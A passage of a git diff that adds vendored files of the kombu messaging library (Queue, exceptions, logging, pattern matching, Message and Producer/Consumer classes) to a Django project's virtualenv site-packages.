nothing). + """ + + ContentDisallowed = ContentDisallowed + + name = '' + exchange = Exchange('') + routing_key = '' + + durable = True + exclusive = False + auto_delete = False + no_ack = False + + attrs = ( + ('name', None), + ('exchange', None), + ('routing_key', None), + ('queue_arguments', None), + ('binding_arguments', None), + ('consumer_arguments', None), + ('durable', bool), + ('exclusive', bool), + ('auto_delete', bool), + ('no_ack', None), + ('alias', None), + ('bindings', list), + ('no_declare', bool), + ('expires', float), + ('message_ttl', float), + ('max_length', int), + ('max_length_bytes', int), + ('max_priority', int) + ) + + def __init__(self, name='', exchange=None, routing_key='', + channel=None, bindings=None, on_declared=None, + **kwargs): + super().__init__(**kwargs) + self.name = name or self.name + if isinstance(exchange, str): + self.exchange = Exchange(exchange) + elif isinstance(exchange, Exchange): + self.exchange = exchange + self.routing_key = routing_key or self.routing_key + self.bindings = set(bindings or []) + self.on_declared = on_declared + + # allows Queue('name', [binding(...), binding(...), ...]) + if isinstance(exchange, (list, tuple, set)): + self.bindings |= set(exchange) + if self.bindings: + self.exchange = None + + # exclusive implies auto-delete. + if self.exclusive: + self.auto_delete = True + self.maybe_bind(channel) + + def bind(self, channel): + on_declared = self.on_declared + bound = super().bind(channel) + bound.on_declared = on_declared + return bound + + def __hash__(self): + return hash(f'Q|{self.name}') + + def when_bound(self): + if self.exchange: + self.exchange = self.exchange(self.channel) + + def declare(self, nowait=False, channel=None): + """Declare queue and exchange then binds queue to exchange.""" + if not self.no_declare: + # - declare main binding. + self._create_exchange(nowait=nowait, channel=channel) + self._create_queue(nowait=nowait, channel=channel) + self._create_bindings(nowait=nowait, channel=channel) + return self.name + + def _create_exchange(self, nowait=False, channel=None): + if self.exchange: + self.exchange.declare(nowait=nowait, channel=channel) + + def _create_queue(self, nowait=False, channel=None): + self.queue_declare(nowait=nowait, passive=False, channel=channel) + if self.exchange and self.exchange.name: + self.queue_bind(nowait=nowait, channel=channel) + + def _create_bindings(self, nowait=False, channel=None): + for B in self.bindings: + channel = channel or self.channel + B.declare(channel) + B.bind(self, nowait=nowait, channel=channel) + + def queue_declare(self, nowait=False, passive=False, channel=None): + """Declare queue on the server. + + Arguments: + nowait (bool): Do not wait for a reply. + passive (bool): If set, the server will not create the queue. + The client can use this to check whether a queue exists + without modifying the server state. + """ + channel = channel or self.channel + queue_arguments = channel.prepare_queue_arguments( + self.queue_arguments or {}, + expires=self.expires, + message_ttl=self.message_ttl, + max_length=self.max_length, + max_length_bytes=self.max_length_bytes, + max_priority=self.max_priority, + ) + ret = channel.queue_declare( + queue=self.name, + passive=passive, + durable=self.durable, + exclusive=self.exclusive, + auto_delete=self.auto_delete, + arguments=queue_arguments, + nowait=nowait, + ) + if not self.name: + self.name = ret[0] + if self.on_declared: + self.on_declared(*ret) + return ret + + def queue_bind(self, nowait=False, channel=None): + """Create the queue binding on the server.""" + return self.bind_to(self.exchange, self.routing_key, + self.binding_arguments, + channel=channel, nowait=nowait) + + def bind_to(self, exchange='', routing_key='', + arguments=None, nowait=False, channel=None): + if isinstance(exchange, Exchange): + exchange = exchange.name + + return (channel or self.channel).queue_bind( + queue=self.name, + exchange=exchange, + routing_key=routing_key, + arguments=arguments, + nowait=nowait, + ) + + def get(self, no_ack=None, accept=None): + """Poll the server for a new message. + + This method provides direct access to the messages in a + queue using a synchronous dialogue, designed for + specific types of applications where synchronous functionality + is more important than performance. + + Returns: + ~kombu.Message: if a message was available, + or :const:`None` otherwise. + + Arguments: + no_ack (bool): If enabled the broker will + automatically ack messages. + accept (Set[str]): Custom list of accepted content types. + """ + no_ack = self.no_ack if no_ack is None else no_ack + message = self.channel.basic_get(queue=self.name, no_ack=no_ack) + if message is not None: + m2p = getattr(self.channel, 'message_to_python', None) + if m2p: + message = m2p(message) + if message.errors: + message._reraise_error() + message.accept = prepare_accept_content(accept) + return message + + def purge(self, nowait=False): + """Remove all ready messages from the queue.""" + return self.channel.queue_purge(queue=self.name, + nowait=nowait) or 0 + + def consume(self, consumer_tag='', callback=None, + no_ack=None, nowait=False): + """Start a queue consumer. + + Consumers last as long as the channel they were created on, or + until the client cancels them. + + Arguments: + consumer_tag (str): Unique identifier for the consumer. + The consumer tag is local to a connection, so two clients + can use the same consumer tags. If this field is empty + the server will generate a unique tag. + + no_ack (bool): If enabled the broker will automatically + ack messages. + + nowait (bool): Do not wait for a reply. + + callback (Callable): callback called for each delivered message. + """ + if no_ack is None: + no_ack = self.no_ack + return self.channel.basic_consume( + queue=self.name, + no_ack=no_ack, + consumer_tag=consumer_tag or '', + callback=callback, + nowait=nowait, + arguments=self.consumer_arguments) + + def cancel(self, consumer_tag): + """Cancel a consumer by consumer tag.""" + return self.channel.basic_cancel(consumer_tag) + + def delete(self, if_unused=False, if_empty=False, nowait=False): + """Delete the queue. + + Arguments: + if_unused (bool): If set, the server will only delete the queue + if it has no consumers. A channel error will be raised + if the queue has consumers. + + if_empty (bool): If set, the server will only delete the queue if + it is empty. If it is not empty a channel error will be raised. + + nowait (bool): Do not wait for a reply. + """ + return self.channel.queue_delete(queue=self.name, + if_unused=if_unused, + if_empty=if_empty, + nowait=nowait) + + def queue_unbind(self, arguments=None, nowait=False, channel=None): + return self.unbind_from(self.exchange, self.routing_key, + arguments, nowait, channel) + + def unbind_from(self, exchange='', routing_key='', + arguments=None, nowait=False, channel=None): + """Unbind queue by deleting the binding from the server.""" + return (channel or self.channel).queue_unbind( + queue=self.name, + exchange=exchange.name, + routing_key=routing_key, + arguments=arguments, + nowait=nowait, + ) + + def __eq__(self, other): + if isinstance(other, Queue): + return (self.name == other.name and + self.exchange == other.exchange and + self.routing_key == other.routing_key and + self.queue_arguments == other.queue_arguments and + self.binding_arguments == other.binding_arguments and + self.consumer_arguments == other.consumer_arguments and + self.durable == other.durable and + self.exclusive == other.exclusive and + self.auto_delete == other.auto_delete) + return NotImplemented + + def __ne__(self, other): + return not self.__eq__(other) + + def __repr__(self): + if self.bindings: + return self._repr_entity('Queue {name} -> {bindings}'.format( + name=_reprstr(self.name), + bindings=pretty_bindings(self.bindings), + )) + return self._repr_entity( + 'Queue {name} -> {0.exchange!r} -> {routing_key}'.format( + self, name=_reprstr(self.name), + routing_key=_reprstr(self.routing_key), + ), + ) + + @property + def can_cache_declaration(self): + if self.queue_arguments: + expiring_queue = "x-expires" in self.queue_arguments + else: + expiring_queue = False + return not expiring_queue and not self.auto_delete + + @classmethod + def from_dict(cls, queue, **options): + binding_key = options.get('binding_key') or options.get('routing_key') + + e_durable = options.get('exchange_durable') + if e_durable is None: + e_durable = options.get('durable') + + e_auto_delete = options.get('exchange_auto_delete') + if e_auto_delete is None: + e_auto_delete = options.get('auto_delete') + + q_durable = options.get('queue_durable') + if q_durable is None: + q_durable = options.get('durable') + + q_auto_delete = options.get('queue_auto_delete') + if q_auto_delete is None: + q_auto_delete = options.get('auto_delete') + + e_arguments = options.get('exchange_arguments') + q_arguments = options.get('queue_arguments') + b_arguments = options.get('binding_arguments') + c_arguments = options.get('consumer_arguments') + bindings = options.get('bindings') + + exchange = Exchange(options.get('exchange'), + type=options.get('exchange_type'), + delivery_mode=options.get('delivery_mode'), + routing_key=options.get('routing_key'), + durable=e_durable, + auto_delete=e_auto_delete, + arguments=e_arguments) + return Queue(queue, + exchange=exchange, + routing_key=binding_key, + durable=q_durable, + exclusive=options.get('exclusive'), + auto_delete=q_auto_delete, + no_ack=options.get('no_ack'), + queue_arguments=q_arguments, + binding_arguments=b_arguments, + consumer_arguments=c_arguments, + bindings=bindings) + + def as_dict(self, recurse=False): + res = super().as_dict(recurse) + if not recurse: + return res + bindings = res.get('bindings') + if bindings: + res['bindings'] = [b.as_dict(recurse=True) for b in bindings] + return res diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/exceptions.py b/django_lottopy/lib/python3.10/site-packages/kombu/exceptions.py new file mode 100644 index 00000000..f2501437 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu/exceptions.py @@ -0,0 +1,94 @@ +"""Exceptions.""" + +from socket import timeout as TimeoutError + +from amqp import ChannelError, ConnectionError, ResourceError + +__all__ = ( + 'reraise', 'KombuError', 'OperationalError', + 'NotBoundError', 'MessageStateError', 'TimeoutError', + 'LimitExceeded', 'ConnectionLimitExceeded', + 'ChannelLimitExceeded', 'ConnectionError', 'ChannelError', + 'VersionMismatch', 'SerializerNotInstalled', 'ResourceError', + 'SerializationError', 'EncodeError', 'DecodeError', 'HttpError', + 'InconsistencyError', +) + + +def reraise(tp, value, tb=None): + """Reraise exception.""" + if value.__traceback__ is not tb: + raise value.with_traceback(tb) + raise value + + +class KombuError(Exception): + """Common subclass for all Kombu exceptions.""" + + +class OperationalError(KombuError): + """Recoverable message transport connection error.""" + + +class SerializationError(KombuError): + """Failed to serialize/deserialize content.""" + + +class EncodeError(SerializationError): + """Cannot encode object.""" + + +class DecodeError(SerializationError): + """Cannot decode object.""" + + +class NotBoundError(KombuError): + """Trying to call channel dependent method on unbound entity.""" + + +class MessageStateError(KombuError): + """The message has already been acknowledged.""" + + +class LimitExceeded(KombuError): + """Limit exceeded.""" + + +class ConnectionLimitExceeded(LimitExceeded): + """Maximum number of simultaneous connections exceeded.""" + + +class ChannelLimitExceeded(LimitExceeded): + """Maximum number of simultaneous channels exceeded.""" + + +class VersionMismatch(KombuError): + """Library dependency version mismatch.""" + + +class SerializerNotInstalled(KombuError): + """Support for the requested serialization type is not installed.""" + + +class ContentDisallowed(SerializerNotInstalled): + """Consumer does not allow this content-type.""" + + +class InconsistencyError(ConnectionError): + """Data or environment has been found to be inconsistent. + + Depending on the cause it may be possible to retry the operation. + """ + + +class HttpError(Exception): + """HTTP Client Error.""" + + def __init__(self, code, message=None, response=None): + self.code = code + self.message = message + self.response = response + super().__init__(code, message, response) + + def __str__(self): + return 'HTTP {0.code}: {0.message}'.format(self) diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/log.py b/django_lottopy/lib/python3.10/site-packages/kombu/log.py new file mode 100644 index 00000000..de77e7f3 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu/log.py @@ -0,0 +1,137 @@ +"""Logging Utilities.""" + +import logging +import numbers +import os +import sys +from logging.handlers import WatchedFileHandler + +from .utils.encoding import safe_repr, safe_str +from .utils.functional import maybe_evaluate +from .utils.objects import cached_property + +__all__ = ('LogMixin', 'LOG_LEVELS', 'get_loglevel', 'setup_logging') + +LOG_LEVELS = dict(logging._nameToLevel) +LOG_LEVELS.update(logging._levelToName) +LOG_LEVELS.setdefault('FATAL', logging.FATAL) +LOG_LEVELS.setdefault(logging.FATAL, 'FATAL') +DISABLE_TRACEBACKS = os.environ.get('DISABLE_TRACEBACKS') + + +def get_logger(logger): + """Get logger by name.""" + if isinstance(logger, str): + logger = logging.getLogger(logger) + if not logger.handlers: + logger.addHandler(logging.NullHandler()) + return logger + + +def get_loglevel(level): + """Get loglevel by name.""" + if isinstance(level, str): + return LOG_LEVELS[level] + return level + + +def naive_format_parts(fmt): + parts = fmt.split('%') + for i, e in enumerate(parts[1:]): + yield None if not e or not parts[i - 1] else e[0] + + +def safeify_format(fmt, args, filters=None): + filters = {'s': safe_str, 'r': safe_repr} if not filters else filters + for index, type in enumerate(naive_format_parts(fmt)): + filt = filters.get(type) + yield filt(args[index]) if filt else args[index] + + +class LogMixin: + """Mixin that adds severity methods to any class.""" + + def debug(self, *args, **kwargs): + return self.log(logging.DEBUG, *args, **kwargs) + + def info(self, *args, **kwargs): + return self.log(logging.INFO, *args, **kwargs) + + def warn(self, *args, **kwargs): + return self.log(logging.WARN, *args, **kwargs) + + def error(self, *args, **kwargs): + kwargs.setdefault('exc_info', True) + return self.log(logging.ERROR, *args, **kwargs) + + def critical(self, *args, **kwargs): + kwargs.setdefault('exc_info', True) + return self.log(logging.CRITICAL, *args, **kwargs) + + def annotate(self, text): + return f'{self.logger_name} - {text}' + + def log(self, severity, *args, **kwargs): + if DISABLE_TRACEBACKS: + kwargs.pop('exc_info', None) + if self.logger.isEnabledFor(severity): + log = self.logger.log + if len(args) > 1 and isinstance(args[0], str): + expand = [maybe_evaluate(arg) for arg in args[1:]] + return log(severity, + self.annotate(args[0].replace('%r', '%s')), + *list(safeify_format(args[0], expand)), **kwargs) + else: + return self.logger.log( + severity, self.annotate(' '.join(map(safe_str, args))), + **kwargs) + + def get_logger(self): + return get_logger(self.logger_name) + + def is_enabled_for(self, level): + return self.logger.isEnabledFor(self.get_loglevel(level)) + + def get_loglevel(self, level): + if not isinstance(level, numbers.Integral): + return LOG_LEVELS[level] + return level + + @cached_property + def logger(self): + return self.get_logger() + + @property + def logger_name(self): + return self.__class__.__name__ + + +class Log(LogMixin): + + def __init__(self, name, logger=None): + self._logger_name = name + self._logger = logger + + def get_logger(self): + if self._logger: + return self._logger + return super().get_logger() + + @property + def logger_name(self): + return self._logger_name + + +def setup_logging(loglevel=None, logfile=None): + """Setup logging.""" + logger = logging.getLogger() + loglevel = get_loglevel(loglevel or 'ERROR') + logfile = logfile if logfile else sys.__stderr__ + if not logger.handlers: + if hasattr(logfile, 'write'): + handler = logging.StreamHandler(logfile) + else: + handler = WatchedFileHandler(logfile) + logger.addHandler(handler) + logger.setLevel(loglevel) + return logger diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/matcher.py b/django_lottopy/lib/python3.10/site-packages/kombu/matcher.py new file mode 100644 index 00000000..7dcab8cd --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu/matcher.py @@ -0,0 +1,133 @@ +"""Pattern matching registry.""" + +from fnmatch import fnmatch +from re import match as rematch + +from .utils.compat import entrypoints +from .utils.encoding import bytes_to_str + + +class MatcherNotInstalled(Exception): + """Matcher not installed/found.""" + + +class MatcherRegistry: + """Pattern matching function registry.""" + + MatcherNotInstalled = MatcherNotInstalled + matcher_pattern_first = ["pcre", ] + + def __init__(self): + self._matchers = {} + self._default_matcher = None + + def register(self, name, matcher): + """Add matcher by name to the registry.""" + self._matchers[name] = matcher + + def unregister(self, name): + """Remove matcher by name from the registry.""" + try: + self._matchers.pop(name) + except KeyError: + raise self.MatcherNotInstalled( + f'No matcher installed for {name}' + ) + + def _set_default_matcher(self, name): + """Set the default matching method. + + :param name: The name of the registered matching method. + For example, `glob` (default), `pcre`, or any custom + methods registered using :meth:`register`. + + :raises MatcherNotInstalled: If the matching method requested + is not available. + """ + try: + self._default_matcher = self._matchers[name] + except KeyError: + raise self.MatcherNotInstalled( + f'No matcher installed for {name}' + ) + + def match(self, data, pattern, matcher=None, matcher_kwargs=None): + """Call the matcher.""" + if matcher and not self._matchers.get(matcher): + raise self.MatcherNotInstalled( + f'No matcher installed for {matcher}' + ) + match_func = self._matchers[matcher or 'glob'] + if matcher in self.matcher_pattern_first: + first_arg = bytes_to_str(pattern) + second_arg = bytes_to_str(data) + else: + first_arg = bytes_to_str(data) + second_arg = bytes_to_str(pattern) + return match_func(first_arg, second_arg, **matcher_kwargs or {}) + + +#: Global registry of matchers. +registry = MatcherRegistry() + +""" +.. function:: match(data, pattern, matcher=default_matcher, + matcher_kwargs=None): + + Match `data` by `pattern` using `matcher`. + + :param data: The data that should be matched. Must be string. + :param pattern: The pattern that should be applied. Must be string. + :keyword matcher: An optional string representing the mathcing + method (for example, `glob` or `pcre`). + + If :const:`None` (default), then `glob` will be used. + + :keyword matcher_kwargs: Additional keyword arguments that will be passed + to the specified `matcher`. + :returns: :const:`True` if `data` matches pattern, + :const:`False` otherwise. + + :raises MatcherNotInstalled: If the matching method requested is not + available. +""" +match = registry.match + +""" +.. function:: register(name, matcher): + Register a new matching method. + + :param name: A convience name for the mathing method. + :param matcher: A method that will be passed data and pattern. +""" +register = registry.register + +""" +.. function:: unregister(name): + Unregister registered matching method. + + :param name: Registered matching method name. +""" +unregister = registry.unregister + + +def register_glob(): + """Register glob into default registry.""" + registry.register('glob', fnmatch) + + +def register_pcre(): + """Register pcre into default registry.""" + registry.register('pcre', rematch) + + +# Register the base matching methods. +register_glob() +register_pcre() + +# Default matching method is 'glob' +registry._set_default_matcher('glob') + +# Load entrypoints from installed extensions +for ep, args in entrypoints('kombu.matchers'): + register(ep.name, *args) diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/message.py b/django_lottopy/lib/python3.10/site-packages/kombu/message.py new file mode 100644 index 00000000..bcc90d1a --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu/message.py @@ -0,0 +1,227 @@ +"""Message class.""" + +import sys + +from .compression import decompress +from .exceptions import MessageStateError, reraise +from .serialization import loads +from .utils.functional import dictfilter + +__all__ = ('Message',) + +ACK_STATES = {'ACK', 'REJECTED', 'REQUEUED'} +IS_PYPY = hasattr(sys, 'pypy_version_info') + + +class Message: + """Base class for received messages. + + Keyword Arguments: + + channel (ChannelT): If message was received, this should be the + channel that the message was received on. + + body (str): Message body. + + delivery_mode (bool): Set custom delivery mode. + Defaults to :attr:`delivery_mode`. + + priority (int): Message priority, 0 to broker configured + max priority, where higher is better. + + content_type (str): The messages content_type. If content_type + is set, no serialization occurs as it is assumed this is either + a binary object, or you've done your own serialization. + Leave blank if using built-in serialization as our library + properly sets content_type. + + content_encoding (str): The character set in which this object + is encoded. Use "binary" if sending in raw binary objects. + Leave blank if using built-in serialization as our library + properly sets content_encoding. + + properties (Dict): Message properties. + + headers (Dict): Message headers. + """ + + MessageStateError = MessageStateError + + errors = None + + if not IS_PYPY: # pragma: no cover + __slots__ = ( + '_state', 'channel', 'delivery_tag', + 'content_type', 'content_encoding', + 'delivery_info', 'headers', 'properties', + 'body', '_decoded_cache', 'accept', '__dict__', + ) + + def __init__(self, body=None, delivery_tag=None, + content_type=None, content_encoding=None, delivery_info=None, + properties=None, headers=None, postencode=None, + accept=None, channel=None, **kwargs): + delivery_info = {} if not delivery_info else delivery_info + self.errors = [] if self.errors is None else self.errors + self.channel = channel + self.delivery_tag = delivery_tag + self.content_type = content_type + self.content_encoding = content_encoding + self.delivery_info = delivery_info + self.headers = headers or {} + self.properties = properties or {} + self._decoded_cache = None + self._state = 'RECEIVED' + self.accept = accept + + compression = self.headers.get('compression') + if not self.errors and compression: + try: + body = decompress(body, compression) + except Exception: + self.errors.append(sys.exc_info()) + + if not self.errors and postencode and isinstance(body, str): + try: + body = body.encode(postencode) + except Exception: + self.errors.append(sys.exc_info()) + self.body = body + + def _reraise_error(self, callback=None): + try: + reraise(*self.errors[0]) + except Exception as exc: + if not callback: + raise + callback(self, exc) + + def ack(self, multiple=False): + """Acknowledge this message as being processed. + + This will remove the message from the queue. + + Raises: + MessageStateError: If the message has already been + acknowledged/requeued/rejected. + """ + if self.channel is None: + raise self.MessageStateError( + 'This message does not have a receiving channel') + if self.channel.no_ack_consumers is not None: + try: + consumer_tag = self.delivery_info['consumer_tag'] + except KeyError: + pass + else: + if consumer_tag in self.channel.no_ack_consumers: + return + if self.acknowledged: + raise self.MessageStateError( + 'Message already acknowledged with state: {0._state}'.format( + self)) + self.channel.basic_ack(self.delivery_tag, multiple=multiple) + self._state = 'ACK' + + def ack_log_error(self, logger, errors, multiple=False): + try: + self.ack(multiple=multiple) + except BrokenPipeError as exc: + logger.critical("Couldn't ack %r, reason:%r", + self.delivery_tag, exc, exc_info=True) + raise + except errors as exc: + logger.critical("Couldn't ack %r, reason:%r", + self.delivery_tag, exc, exc_info=True) + + def reject_log_error(self, logger, errors, requeue=False): + try: + self.reject(requeue=requeue) + except errors as exc: + logger.critical("Couldn't reject %r, reason: %r", + self.delivery_tag, exc, exc_info=True) + + def reject(self, requeue=False): + """Reject this message. + + The message will be discarded by the server. + + Raises: + MessageStateError: If the message has already been + acknowledged/requeued/rejected. + """ + if self.channel is None: + raise self.MessageStateError( + 'This message does not have a receiving channel') + if self.acknowledged: + raise self.MessageStateError( + 'Message already acknowledged with state: {0._state}'.format( + self)) + self.channel.basic_reject(self.delivery_tag, requeue=requeue) + self._state = 'REJECTED' + + def requeue(self): + """Reject this message and put it back on the queue. + + Warning: + You must not use this method as a means of selecting messages + to process. + + Raises: + MessageStateError: If the message has already been + acknowledged/requeued/rejected. + """ + if self.channel is None: + raise self.MessageStateError( + 'This message does not have a receiving channel') + if self.acknowledged: + raise self.MessageStateError( + 'Message already acknowledged with state: {0._state}'.format( + self)) + self.channel.basic_reject(self.delivery_tag, requeue=True) + self._state = 'REQUEUED' + + def decode(self): + """Deserialize the message body. + + Returning the original python structure sent by the publisher. + + Note: + The return value is memoized, use `_decode` to force + re-evaluation. + """ + if not self._decoded_cache: + self._decoded_cache = self._decode() + return self._decoded_cache + + def _decode(self): + return loads(self.body, self.content_type, + self.content_encoding, accept=self.accept) + + @property + def acknowledged(self): + """Set to true if the message has been acknowledged.""" + return self._state in ACK_STATES + + @property + def payload(self): + """The decoded message body.""" + return self._decoded_cache if self._decoded_cache else self.decode() + + def __repr__(self): + return '<{} object at {:#x} with details {!r}>'.format( + type(self).__name__, id(self), dictfilter( + state=self._state, + content_type=self.content_type, + delivery_tag=self.delivery_tag, + body_length=len(self.body) if self.body is not None else None, + properties=dictfilter( + correlation_id=self.properties.get('correlation_id'), + type=self.properties.get('type'), + ), + delivery_info=dictfilter( + exchange=self.delivery_info.get('exchange'), + routing_key=self.delivery_info.get('routing_key'), + ), + ), + ) diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/messaging.py b/django_lottopy/lib/python3.10/site-packages/kombu/messaging.py new file mode 100644 index 00000000..0bed52c5 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu/messaging.py @@ -0,0 +1,636 @@ +"""Sending and receiving messages.""" + +from itertools import count + +from .common import maybe_declare +from .compression import compress +from .connection import is_connection, maybe_channel +from .entity import Exchange, Queue, maybe_delivery_mode +from .exceptions import ContentDisallowed +from .serialization import dumps, prepare_accept_content +from .utils.functional import ChannelPromise, maybe_list + +__all__ = ('Exchange', 'Queue', 'Producer', 'Consumer') + + +class Producer: + """Message Producer. + + Arguments: + channel (kombu.Connection, ChannelT): Connection or channel. + exchange (kombu.entity.Exchange, str): Optional default exchange. + routing_key (str): Optional default routing key. + serializer (str): Default serializer. Default is `"json"`. + compression (str): Default compression method. + Default is no compression. + auto_declare (bool): Automatically declare the default exchange + at instantiation. Default is :const:`True`. + on_return (Callable): Callback to call for undeliverable messages, + when the `mandatory` or `immediate` arguments to + :meth:`publish` is used. This callback needs the following + signature: `(exception, exchange, routing_key, message)`. + Note that the producer needs to drain events to use this feature. + """ + + #: Default exchange + exchange = None + + #: Default routing key. + routing_key = '' + + #: Default serializer to use. Default is JSON. + serializer = None + + #: Default compression method. Disabled by default. + compression = None + + #: By default, if a defualt exchange is set, + #: that exchange will be declare when publishing a message. + auto_declare = True + + #: Basic return callback. + on_return = None + + #: Set if channel argument was a Connection instance (using + #: default_channel). + __connection__ = None + + def __init__(self, channel, exchange=None, routing_key=None, + serializer=None, auto_declare=None, compression=None, + on_return=None): + self._channel = channel + self.exchange = exchange + self.routing_key = routing_key or self.routing_key + self.serializer = serializer or self.serializer + self.compression = compression or self.compression + self.on_return = on_return or self.on_return + self._channel_promise = None + if self.exchange is None: + self.exchange = Exchange('') + if auto_declare is not None: + self.auto_declare = auto_declare + + if self._channel: + self.revive(self._channel) + + def __repr__(self): + return f'' + + def __reduce__(self): + return self.__class__, self.__reduce_args__() + + def __reduce_args__(self): + return (None, self.exchange, self.routing_key, self.serializer, + self.auto_declare, self.compression) + + def declare(self): + """Declare the exchange. + + Note: + This happens automatically at instantiation when + the :attr:`auto_declare` flag is enabled. + """ + if self.exchange.name: + self.exchange.declare() + + def maybe_declare(self, entity, retry=False, **retry_policy): + """Declare exchange if not already declared during this session.""" + if entity: + return maybe_declare(entity, self.channel, retry, **retry_policy) + + def _delivery_details(self, exchange, delivery_mode=None, + maybe_delivery_mode=maybe_delivery_mode, + Exchange=Exchange): + if isinstance(exchange, Exchange): + return exchange.name, maybe_delivery_mode( + delivery_mode or exchange.delivery_mode, + ) + # exchange is string, so inherit the delivery + # mode of our default exchange. + return exchange, maybe_delivery_mode( + delivery_mode or self.exchange.delivery_mode, + ) + + def publish(self, body, routing_key=None, delivery_mode=None, + mandatory=False, immediate=False, priority=0, + content_type=None, content_encoding=None, serializer=None, + headers=None, compression=None, exchange=None, retry=False, + retry_policy=None, declare=None, expiration=None, timeout=None, + **properties): + """Publish message to the specified exchange. + + Arguments: + body (Any): Message body. + routing_key (str): Message routing key. + delivery_mode (enum): See :attr:`delivery_mode`. + mandatory (bool): Currently not supported. + immediate (bool): Currently not supported. + priority (int): Message priority. A number between 0 and 9. + content_type (str): Content type. Default is auto-detect. + content_encoding (str): Content encoding. Default is auto-detect. + serializer (str): Serializer to use. Default is auto-detect. + compression (str): Compression method to use. Default is none. + headers (Dict): Mapping of arbitrary headers to pass along + with the message body. + exchange (kombu.entity.Exchange, str): Override the exchange. + Note that this exchange must have been declared. + declare (Sequence[EntityT]): Optional list of required entities + that must have been declared before publishing the message. + The entities will be declared using + :func:`~kombu.common.maybe_declare`. + retry (bool): Retry publishing, or declaring entities if the + connection is lost. + retry_policy (Dict): Retry configuration, this is the keywords + supported by :meth:`~kombu.Connection.ensure`. + expiration (float): A TTL in seconds can be specified per message. + Default is no expiration. + timeout (float): Set timeout to wait maximum timeout second + for message to publish. + **properties (Any): Additional message properties, see AMQP spec. + """ + _publish = self._publish + + declare = [] if declare is None else declare + headers = {} if headers is None else headers + retry_policy = {} if retry_policy is None else retry_policy + routing_key = self.routing_key if routing_key is None else routing_key + compression = self.compression if compression is None else compression + + exchange_name, properties['delivery_mode'] = self._delivery_details( + exchange or self.exchange, delivery_mode, + ) + + if expiration is not None: + properties['expiration'] = str(int(expiration * 1000)) + + body, content_type, content_encoding = self._prepare( + body, serializer, content_type, content_encoding, + compression, headers) + + if self.auto_declare and self.exchange.name: + if self.exchange not in declare: + # XXX declare should be a Set. + declare.append(self.exchange) + + if retry: + _publish = self.connection.ensure(self, _publish, **retry_policy) + return _publish( + body, priority, content_type, content_encoding, + headers, properties, routing_key, mandatory, immediate, + exchange_name, declare, timeout + ) + + def _publish(self, body, priority, content_type, content_encoding, + headers, properties, routing_key, mandatory, + immediate, exchange, declare, timeout=None): + channel = self.channel + message = channel.prepare_message( + body, priority, content_type, + content_encoding, headers, properties, + ) + if declare: + maybe_declare = self.maybe_declare + [maybe_declare(entity) for entity in declare] + + # handle autogenerated queue names for reply_to + reply_to = properties.get('reply_to') + if isinstance(reply_to, Queue): + properties['reply_to'] = reply_to.name + return channel.basic_publish( + message, + exchange=exchange, routing_key=routing_key, + mandatory=mandatory, immediate=immediate, + timeout=timeout + ) + + def _get_channel(self): + channel = self._channel + if isinstance(channel, ChannelPromise): + channel = self._channel = channel() + self.exchange.revive(channel) + if self.on_return: + channel.events['basic_return'].add(self.on_return) + return channel + + def _set_channel(self, channel): + self._channel = channel + + channel = property(_get_channel, _set_channel) + + def revive(self, channel): + """Revive the producer after connection loss.""" + if is_connection(channel): + connection = channel + self.__connection__ = connection + channel = ChannelPromise(lambda: connection.default_channel) + if isinstance(channel, ChannelPromise): + self._channel = channel + self.exchange = self.exchange(channel) + else: + # Channel already concrete + self._channel = channel + if self.on_return: + self._channel.events['basic_return'].add(self.on_return) + self.exchange = self.exchange(channel) + + def __enter__(self): + return self + + def __exit__(self, *exc_info): + self.release() + + def release(self): + pass + + close = release + + def _prepare(self, body, serializer=None, content_type=None, + content_encoding=None, compression=None, headers=None): + + # No content_type? Then we're serializing the data internally. + if not content_type: + serializer = serializer or self.serializer + (content_type, content_encoding, + body) = dumps(body, serializer=serializer) + else: + # If the programmer doesn't want us to serialize, + # make sure content_encoding is set. + if isinstance(body, str): + if not content_encoding: + content_encoding = 'utf-8' + body = body.encode(content_encoding) + + # If they passed in a string, we can't know anything + # about it. So assume it's binary data. + elif not content_encoding: + content_encoding = 'binary' + + if compression: + body, headers['compression'] = compress(body, compression) + + return body, content_type, content_encoding + + @property + def connection(self): + try: + return self.__connection__ or self.channel.connection.client + except AttributeError: + pass + + +class Consumer: + """Message consumer. + + Arguments: + channel (kombu.Connection, ChannelT): see :attr:`channel`. + queues (Sequence[kombu.Queue]): see :attr:`queues`. + no_ack (bool): see :attr:`no_ack`. + auto_declare (bool): see :attr:`auto_declare` + callbacks (Sequence[Callable]): see :attr:`callbacks`. + on_message (Callable): See :attr:`on_message` + on_decode_error (Callable): see :attr:`on_decode_error`. + prefetch_count (int): see :attr:`prefetch_count`. + """ + + ContentDisallowed = ContentDisallowed + + #: The connection/channel to use for this consumer. + channel = None + + #: A single :class:`~kombu.Queue`, or a list of queues to + #: consume from. + queues = None + + #: Flag for automatic message acknowledgment. + #: If enabled the messages are automatically acknowledged by the + #: broker. This can increase performance but means that you + #: have no control of when the message is removed. + #: + #: Disabled by default. + no_ack = None + + #: By default all entities will be declared at instantiation, if you + #: want to handle this manually you can set this to :const:`False`. + auto_declare = True + + #: List of callbacks called in order when a message is received. + #: + #: The signature of the callbacks must take two arguments: + #: `(body, message)`, which is the decoded message body and + #: the :class:`~kombu.Message` instance. + callbacks = None + + #: Optional function called whenever a message is received. + #: + #: When defined this function will be called instead of the + #: :meth:`receive` method, and :attr:`callbacks` will be disabled. + #: + #: So this can be used as an alternative to :attr:`callbacks` when + #: you don't want the body to be automatically decoded. + #: Note that the message will still be decompressed if the message + #: has the ``compression`` header set. + #: + #: The signature of the callback must take a single argument, + #: which is the :class:`~kombu.Message` object. + #: + #: Also note that the ``message.body`` attribute, which is the raw + #: contents of the message body, may in some cases be a read-only + #: :class:`buffer` object. + on_message = None + + #: Callback called when a message can't be decoded. + #: + #: The signature of the callback must take two arguments: `(message, + #: exc)`, which is the message that can't be decoded and the exception + #: that occurred while trying to decode it. + on_decode_error = None + + #: List of accepted content-types. + #: + #: An exception will be raised if the consumer receives + #: a message with an 